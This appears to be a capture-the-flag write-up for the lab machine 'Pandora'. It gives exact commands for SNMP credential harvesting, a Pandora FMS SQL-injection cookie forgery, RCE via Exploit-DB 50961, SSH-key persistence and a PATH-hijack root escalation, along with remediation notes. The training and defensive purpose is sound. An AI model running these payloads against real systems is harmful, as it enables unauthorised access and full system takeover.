Pandora
Summary
Scanning UDP discovered SNMP open on the target alongside the public HTTP and SSH services. Walking the SNMP process table with the default 'public' community string required no authentication and returned plaintext SSH credentials embedded in a running process's command-line arguments, granting an immediate low-privilege shell as the user daniel. From that foothold, a second HTTP service bound exclusively to localhost was discovered and exposed via SSH port-forwarding, revealing an internal Pandora FMS 7.0NG.742 console.
An unauthenticated SQL injection in the console's session-management code (CVE-2021-32099) forged a fully-privileged admin cookie without ever knowing the admin password. That admin session was handed to a separate authenticated command-injection flaw on the Events page (CVE-2020-5844), achieving code execution as the web-server user. I used that RCE to write an SSH public key into a second user's (matt) authorized_keys file, converting the one-shot injection channel into a persistent interactive shell.
Finally, a setuid-root backup binary invoked tar without an absolute path; placing a malicious tar script first in $PATH before running the binary produced a root shell and full system compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered>"Attack path — how the box was taken
Exact commands 2
UDP scan to confirm SNMP is reachable on port 161.
$ nmap -sU -p 161,162 --open -Pn -T4 $TARGETWalk the hrSWRunParameters OID to dump all running process arguments; the credential pair daniel's password appears in plain text in one entry.
$ snmpwalk -v2c -c public -t 3 -r 1 $TARGET 1.3.6.1.2.1.25.4.2.1.5FixRestrict SNMP to trusted management hosts and stop passing secrets as process argumentsCritical
Exact commands 1
Verify foothold, confirm sudo absence, and map localhost-only listeners.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null daniel@$TARGET 'id; hostname; ss -ltnp 2>/dev/null | grep -E "127.0.0.1:|:80|:3306"; find /home -name user.txt -maxdepth 3 -exec ls -l {} \; 2>/dev/null'
uid=1001(daniel) gid=1001(daniel) groups=1001(daniel)Exact commands 3
Forward my local port 9001 to the internal Pandora FMS service; -fN runs the tunnel in the background.
$ sshpass -p "$PASSWORD" ssh -fN -L 9001:127.0.0.1:80 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null daniel@$TARGETConfirm the application identity and version string (7.0NG.742).
$ curl -s http://127.0.0.1:9001/pandora_console/ | grep -iE "version|pandora"Read the PHP source via daniel's shell to confirm session_id is concatenated into SQL without parameterisation.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no daniel@$TARGET 'grep -n "session_id" /var/www/html/pandora_console/include/chart_generator.php | head -30'FixPatch Pandora FMS to close the unauthenticated SQL injection (CVE-2021-32099)Critical
Exact commands 1
Run the UNION payload via curl; the application writes the forged session to the DB and returns a Set-Cookie header containing the admin PHPSESSID. Capture that value for the next step.
$ payload="' UNION SELECT 'x',1672531200,'id_usuario|s:5:\"admin\";'-- -"; curl -sv -c /tmp/pandora_admin.cookie -b /tmp/pandora_admin.cookie --get --data-urlencode "session_id=${payload}" http://127.0.0.1:9001/pandora_console/include/chart_generator.php 2>&1 | grep -i 'set-cookie'Exact commands 1
Exploit-DB 50961 — replace <forged_PHPSESSID> with the cookie value captured in step 4; output confirms RCE as the web user and returns the user flag.
$ python3 50961.py -t 127.0.0.1 9001 -p <forged_PHPSESSID> -c 'id; whoami; cat /home/matt/user.txt'FixPatch Pandora FMS to close the authenticated RCE and run the web service as a least-privilege account (CVE-2020-5844)Critical
Exact commands 3
Generate a disposable ed25519 keypair for this engagement.
$ ssh-keygen -t ed25519 -N '' -f /tmp/pandora_matt_ed25519Use the RCE to append my public key; replace the placeholder with the output of cat /tmp/pandora_matt_ed25519.pub from step 1.
$ python3 50961.py -t 127.0.0.1 9001 -p <forged_PHPSESSID> -c "mkdir -p /home/matt/.ssh && echo '<PASTE_CONTENTS_OF_pandora_matt_ed25519.pub_HERE>' >> /home/matt/.ssh/authorized_keys && chmod 600 /home/matt/.ssh/authorized_keys"Confirm stable SSH access as matt and read the user flag (<user.txt>).
$ ssh -i /tmp/pandora_matt_ed25519 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null matt@$TARGET 'id; cat /home/matt/user.txt'
uid=1000(matt)Exact commands 2
Confirm pandora_backup references tar without an absolute path (no leading slash).
$ ssh -i /tmp/pandora_matt_ed25519 -o StrictHostKeyChecking=no matt@$TARGET 'strings /usr/bin/pandora_backup | grep -E "tar|backup|PATH|/bin|sh"'Drop a two-line malicious tar script, prepend its directory to PATH, and run the SUID binary — /bin/bash -p executes as root; run 'id; cat /root/root.txt' in the resulting shell.
$ ssh -i /tmp/pandora_matt_ed25519 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null matt@$TARGET 'D=$(mktemp -d /tmp/pb.XXXXXX); printf "#!/bin/sh\n/bin/bash -p\n" > $D/tar; chmod +x $D/tar; PATH=$D:$PATH /usr/bin/pandora_backup'FixRemove the setuid bit from pandora_backup or rewrite it to call tar by its absolute pathHigh
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
SQL InjectionWebT1190
What it is
User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.
Why it works
The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.41 ((Ubuntu)) |
| 161/udp | snmp |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.